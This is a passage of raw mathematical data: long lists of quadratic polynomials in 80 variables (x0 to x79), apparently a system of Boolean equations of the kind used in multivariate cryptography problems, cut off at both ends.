x55*x68 + x55*x71 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x63 + x57*x64 + x57*x65 + x57*x67 + x57*x73 + x57*x74 + x57*x76 + x57*x79 + x58*x62 + x58*x64 + x58*x65 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x77 + x58*x79 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x73 + x60*x77 + x60*x78 + x61*x62 + x61*x64 + x61*x65 + x61*x72 + x61*x73 + x61*x79 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x72 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x63*x67 + x63*x70 + x63*x74 + x63*x75 + x63*x79 + x63 + x64*x66 + x64*x68 + x64*x69 + x64*x72 + x64*x73 + x64*x74 + x64*x76 + x64*x77 + x64*x78 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x69 + x67*x70 + x67*x72 + x67*x75 + x67*x77 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x74 + x68*x75 + x68*x78 + x68 + x69*x74 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x73 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x72*x75 + x72*x76 + x72*x77 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x74*x75 + x74*x78 + x75*x76 + x76*x78 + x76*x79 + x76 + x77*x79 + x77 + x78 + x79 + 1, x0*x1 + x0*x2 + x0*x3 + x0*x6 + x0*x7 + x0*x12 + x0*x14 + x0*x17 + x0*x18 + x0*x23 + x0*x24 + x0*x27 + x0*x28 + x0*x29 + x0*x30 + x0*x33 + x0*x34 + x0*x37 + x0*x39 + x0*x40 + x0*x41 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x51 + x0*x52 + x0*x55 + x0*x57 + x0*x60 + x0*x66 + x0*x69 + x0*x74 + x0*x79 + x1*x3 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x19 + x1*x23 + x1*x24 + x1*x25 + x1*x28 + x1*x29 + x1*x31 + x1*x32 + x1*x34 + x1*x35 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x44 + x1*x47 + x1*x48 + x1*x49 + x1*x55 + x1*x56 + x1*x57 + x1*x64 + x1*x66 + x1*x69 + x1*x70 + x1*x71 + x1*x72 + x1*x73 + x1*x74 + x1*x75 + x1*x76 + x1*x77 + x2*x4 + x2*x5 + x2*x8 + x2*x11 + x2*x12 + x2*x13 + x2*x17 + x2*x19 + x2*x22 + x2*x24 + x2*x25 + x2*x29 + x2*x30 + x2*x31 + x2*x32 + x2*x33 + x2*x34 + x2*x37 + x2*x38 + x2*x39 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x57 + x2*x58 + x2*x59 + x2*x61 + x2*x65 + x2*x68 + x2*x69 + x2*x71 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x8 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x26 + x3*x27 + x3*x30 + x3*x32 + x3*x35 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x47 + x3*x48 + x3*x49 + x3*x52 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x62 + x3*x63 + x3*x69 + x3*x71 + x3*x75 + x4*x6 + x4*x9 + x4*x10 + x4*x12 + x4*x21 + x4*x23 + x4*x24 + x4*x26 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x42 + x4*x44 + x4*x47 + x4*x48 + x4*x49 + x4*x56 + x4*x57 + x4*x58 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x65 + x4*x66 + x4*x69 + x4*x70 + x4*x71 + x4*x73 + x4*x74 + x4*x76 + x4*x78 + x4 + x5*x7 + x5*x8 + x5*x10 + x5*x14 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x41 + x5*x44 + x5*x49 + x5*x52 + x5*x58 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x76 + x5*x78 + x5 + x6*x8 + x6*x12 + x6*x13 + x6*x23 + x6*x24 + x6*x26 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x44 + x6*x45 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x64 + x6*x65 + x6*x67 + x6*x72 + x6*x73 + x6*x76 + x6*x77 + x6*x78 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x12 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x23 + x7*x25 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x34 + x7*x36 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x57 + x7*x58 + x7*x62 + x7*x65 + x7*x67 + x7*x69 + x7*x71 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x14 + x8*x15 + x8*x21 + x8*x23 + x8*x27 + x8*x36 + x8*x37 + x8*x40 + x8*x41 + x8*x47 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x55 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x66 + x8*x69 + x8*x72 + x8*x75 + x8*x76 + x8*x79 + x8 + x9*x10 + x9*x13 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x23 + x9*x25 + x9*x27 + x9*x28 + x9*x29 + x9*x31 + x9*x32 + x9*x34 + x9*x35 + x9*x38 + x9*x43 + x9*x45 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x65 + x9*x72 + x9*x73 + x9*x74 + x9*x77 + x9*x78 + x9 + x10*x13 + x10*x15 + x10*x16 + x10*x18 + x10*x19 + x10*x20 + x10*x22 + x10*x24 + x10*x28 + x10*x30 + x10*x36 + x10*x37 + x10*x39 + x10*x42 + x10*x43 + x10*x45 + x10*x46 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x59 + x10*x60 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x74 + x10*x75 + x10*x77 + x10*x78 + x10*x79 + x11*x12 + x11*x17 + x11*x18 + x11*x26 + x11*x27 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x36 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x56 + x11*x57 + x11*x59 + x11*x60 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x74 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x22 + x12*x29 + x12*x31 + x12*x33 + x12*x34 + x12*x37 + x12*x39 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x48 + x12*x52 + x12*x53 + x12*x55 + x12*x57 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x67 + x12*x68 + x12*x72 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x25 + x13*x27 + x13*x29 + x13*x30 + x13*x31 + x13*x32 + x13*x34 + x13*x36 + x13*x38 + x13*x42 + x13*x44 + x13*x45 + x13*x46 + x13*x48 + x13*x49 + x13*x50 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x61 + x13*x62 + x13*x65 + x13*x66 + x13*x67 + x13*x71 + x13*x72 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x25 + x14*x26 + x14*x28 + x14*x29 + x14*x31 + x14*x37 + x14*x40 + x14*x42 + x14*x47 + x14*x49 + x14*x50 + x14*x51 + x14*x53 + x14*x55 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x61 + x14*x63 + x14*x68 + x14*x69 + x14*x70 + x14*x76 + x14*x79 + x15*x17 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x26 + x15*x30 + x15*x31 + x15*x33 + x15*x37 + x15*x38 + x15*x39 + x15*x41 + x15*x43 + x15*x44 + x15*x46 + x15*x50 + x15*x52 + x15*x56 + x15*x58 + x15*x59 + x15*x60 + x15*x61 + x15*x62 + x15*x66 + x15*x68 + x15*x69 + x15*x72 + x15*x74 + x15*x75 + x15*x76 + x15*x77 + x15*x78 + x15 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x30 + x16*x33 + x16*x35 + x16*x42 + x16*x44 + x16*x45 + x16*x47 + x16*x48 + x16*x49 + x16*x55 + x16*x56 + x16*x57 + x16*x60 + x16*x65 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x77 + x16*x78 + x16 + x17*x18 + x17*x25 + x17*x26 + x17*x28 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x42 + x17*x43 + x17*x46 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x59 + x17*x61 + x17*x65 + x17*x66 + x17*x67 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x79 + x17 + x18*x22 + x18*x23 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x43 + x18*x45 + x18*x48 + x18*x50 + x18*x52 + x18*x53 + x18*x54 + x18*x58 + x18*x62 + x18*x67 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x18*x79 + x19*x20 + x19*x22 + x19*x23 + x19*x25 + x19*x28 + x19*x31 + x19*x33 + x19*x40 + x19*x42 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x55 + x19*x56 + x19*x57 + x19*x60 + x19*x61 + x19*x64 + x19*x66 + x19*x73 + x19*x76 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x32 + x20*x33 + x20*x36 + x20*x42 + x20*x43 + x20*x44 + x20*x46 + x20*x48 + x20*x52 + x20*x54 + x20*x55 + x20*x58 + x20*x60 + x20*x61 + x20*x62 + x20*x64 + x20*x66 + x20*x68 + x20*x69 + x20*x70 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x21*x22 + x21*x24 + x21*x25 + x21*x27 + x21*x29 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x42 + x21*x43 + x21*x47 + x21*x48 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x60 + x21*x61 + x21*x63 + x21*x66 + x21*x68 + x21*x70 + x21*x73 + x21*x75 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x28 + x22*x30 + x22*x34 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x46 + x22*x47 + x22*x53 + x22*x54 + x22*x55 + x22*x56 + x22*x58 + x22*x60 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x67 + x22*x68 + x22*x69 + x22*x72 + x22*x74 + x22*x75 + x22*x77 + x23*x24 + x23*x31 + x23*x32 + x23*x33 + x23*x34 + x23*x37 + x23*x39 + x23*x40 + x23*x41 + x23*x48 + x23*x49 + x23*x50 + x23*x53 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x28 + x24*x30 + x24*x31 + x24*x37 + x24*x40 + x24*x41 + x24*x42 + x24*x43 + x24*x44 + x24*x50 + x24*x51 + x24*x55 + x24*x58 + x24*x59 + x24*x61 + x24*x64 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x25*x26 + x25*x28 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x41 + x25*x42 + x25*x45 + x25*x47 + x25*x48 + x25*x49 + x25*x51 + x25*x53 + x25*x54 + x25*x58 + x25*x60 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x67 + x25*x68 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x76 + x25*x78 + x26*x28 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x39 + x26*x41 + x26*x42 + x26*x47 + x26*x48 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x60 + x26*x61 + x26*x64 + x26*x67 + x26*x69 + x26*x71 + x26*x74 + x26*x77 + x26 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x42 + x27*x44 + x27*x47 + x27*x48 + x27*x50 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x62 + x27*x63 + x27*x65 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x76 + x27 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x36 + x28*x39 + x28*x41 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x49 + x28*x50 + x28*x52 + x28*x56 + x28*x58 + x28*x63 + x28*x65 + x28*x68 + x28*x69 + x28*x72 + x28*x74 + x28*x76 + x28*x78 + x28 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x38 + x29*x40 + x29*x41 + x29*x46 + x29*x47 + x29*x48 + x29*x51 + x29*x52 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x70 + x29*x72 + x29*x73 + x29*x74 + x29*x76 + x29 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x56 + x30*x57 + x30*x61 + x30*x64 + x30*x66 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x75 + x30*x77 + x30*x79 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x40 + x31*x46 + x31*x48 + x31*x52 + x31*x55 + x31*x62 + x31*x63 + x31*x68 + x31*x69 + x31*x71 + x31*x73 + x31*x77 + x32*x34 + x32*x35 + x32*x36 + x32*x40 + x32*x42 + x32*x44 + x32*x49 + x32*x51 + x32*x52 + x32*x56 + x32*x57 + x32*x63 + x32*x64 + x32*x67 + x32*x68 + x32*x71 + x32*x72 + x32*x75 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x42 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x59 + x33*x60 + x33*x61 + x33*x62 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x71 + x33*x76 + x33*x77 + x33*x79 + x34*x36 + x34*x37 + x34*x40 + x34*x42 + x34*x43 + x34*x47 + x34*x48 + x34*x50 + x34*x51 + x34*x55 + x34*x56 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x66 + x34*x68 + x34*x70 + x34*x71 + x34*x72 + x34*x74 + x34*x75 + x34*x76 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x44 + x35*x46 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x60 + x35*x62 + x35*x63 + x35*x65 + x35*x69 + x35*x72 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x40 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x50 + x36*x52 + x36*x55 + x36*x57 + x36*x59 + x36*x61 + x36*x62 + x36*x64 + x36*x67 + x36*x71 + x36*x72 + x36*x76 + x36*x78 + x37*x39 + x37*x41 + x37*x44 + x37*x45 + x37*x52 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x66 + x38*x67 + x38*x70 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x43 + x39*x45 + x39*x47 + x39*x48 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x60 + x39*x61 + x39*x62 + x39*x63 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x75 + x39*x77 + x39*x78 + x39 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x52 + x40*x53 + x40*x54 + x40*x56 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x68 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x78 + x40*x79 + x41*x43 + x41*x45 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x73 + x41*x76 + x41*x79 + x41 + x42*x46 + x42*x47 + x42*x51 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x59 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x72 + x42*x74 + x42*x78 + x42*x79 + x43*x45 + x43*x46 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x54 + x43*x55 + x43*x56 + x43*x59 + x43*x60 + x43*x61 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x79 + x43 + x44*x50 + x44*x52 + x44*x54 + x44*x56 + x44*x58 + x44*x60 + x44*x63 + x44*x67 + x44*x71 + x44*x74 + x44*x75 + x44*x78 + x44*x79 + x44 + x45*x47 + x45*x48 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x58 + x45*x60 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x70 + x45*x71 + x45*x72 + x45*x73 + x45*x77 + x46*x51 + x46*x52 + x46*x53 + x46*x58 + x46*x59 + x46*x64 + x46*x68 + x46*x69 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x78 + x46 + x47*x48 + x47*x51 + x47*x53 + x47*x55 + x47*x56 + x47*x60 + x47*x65 + x47*x66 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x58 + x48*x61 + x48*x65 + x48*x66 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x75 + x49*x55 + x49*x56 + x49*x57 + x49*x61 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x72 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x59 + x50*x63 + x50*x65 + x50*x68 + x50*x70 + x50*x73 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x54 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x63 + x51*x65 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x56 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x71 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x53*x54 + x53*x56 + x53*x58 + x53*x59 + x53*x60 + x53*x63 + x53*x68 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x54*x55 + x54*x56 + x54*x58 + x54*x60 + x54*x61 + x54*x63 + x54*x66 + x54*x68 + x54*x69 + x54*x72 + x54*x75 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x59 + x55*x62 + x55*x63 + x55*x66 + x55*x67 + x55*x74 + x55*x77 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x60 + x56*x63 + x56*x67 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x76 + x56*x78 + x56*x79 + x57*x59 + x57*x60 + x57*x62 + x57*x68 + x57*x70 + x57*x71 + x57*x73 + x57*x75 + x57 + x58*x61 + x58*x64 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x64 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x75 + x59*x77 + x59 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x76 + x60 + x61*x62 + x61*x63 + x61*x66 + x61*x70 + x61*x72 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x66 + x62*x67 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x75 + x62*x78 + x62*x79 + x63*x66 + x63*x67 + x63*x69 + x63*x72 + x63*x74 + x63*x75 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x76 + x64*x77 + x65*x66 + x65*x67 + x65*x72 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x77 + x66*x79 + x67*x70 + x67*x71 + x67*x72 + x67*x76 + x68*x71 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x69*x73 + x69*x74 + x69*x76 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x79 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x79 + x75 + x76*x77 + x76*x78 + x77*x78 + 1, x0*x3 + x0*x4 + x0*x7 + x0*x9 + x0*x10 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x23 + x0*x26 + x0*x27 + x0*x29 + x0*x31 + x0*x32 + x0*x35 + x0*x36 + x0*x39 + x0*x41 + x0*x42 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x51 + x0*x52 + x0*x55 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0*x77 + x1*x5 + x1*x8 + x1*x14 + x1*x15 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x22 + x1*x24 + x1*x26 + x1*x27 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x33 + x1*x34 + x1*x35 + x1*x36 + x1*x39 + x1*x40 + x1*x43 + x1*x48 + x1*x49 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x62 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x15 + x2*x18 + x2*x22 + x2*x28 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x48 + x2*x52 + x2*x53 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x64 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x8 + x3*x9 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x20 + x3*x21 + x3*x26 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x43 + x3*x44 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x52 + x3*x54 + x3*x57 + x3*x59 + x3*x60 + x3*x62 + x3*x63 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x5 + x4*x6 + x4*x8 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x22 + x4*x23 + x4*x24 + x4*x25 + x4*x30 + x4*x31 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x42 + x4*x44 + x4*x46 + x4*x48 + x4*x49 + x4*x52 + x4*x54 + x4*x56 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x76 + x4*x79 + x5*x6 + x5*x7 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x14 + x5*x21 + x5*x22 + x5*x23 + x5*x26 + x5*x29 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x41 + x5*x43 + x5*x46 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x55 + x5*x56 + x5*x63 + x5*x65 + x5*x66 + x5*x70 + x5*x71 + x5*x72 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x22 + x6*x26 + x6*x28 + x6*x29 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x44 + x6*x48 + x6*x50 + x6*x54 + x6*x55 + x6*x56 + x6*x58 + x6*x62 + x6*x64 + x6*x66 + x6*x67 + x6*x68 + x6*x69 + x6*x71 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x11 + x7*x13 + x7*x14 + x7*x15 + x7*x17 + x7*x18 + x7*x20 + x7*x21 + x7*x23 + x7*x25 + x7*x26 + x7*x28 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x38 + x7*x39 + x7*x40 + x7*x43 + x7*x44 + x7*x46 + x7*x48 + x7*x49 + x7*x51 + x7*x55 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x64 + x7*x65 + x7*x68 + x7*x70 + x7*x72 + x7*x74 + x7*x76 + x7*x79 + x8*x9 + x8*x11 + x8*x16 + x8*x18 + x8*x19 + x8*x20 + x8*x24 + x8*x35 + x8*x45 + x8*x46 + x8*x47 + x8*x53 + x8*x58 + x8*x59 + x8*x60 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x78 + x8*x79 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x18 + x9*x19 + x9*x21 + x9*x23 + x9*x27 + x9*x29 + x9*x34 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x44 + x9*x48 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x60 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x70 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x15 + x10*x17 + 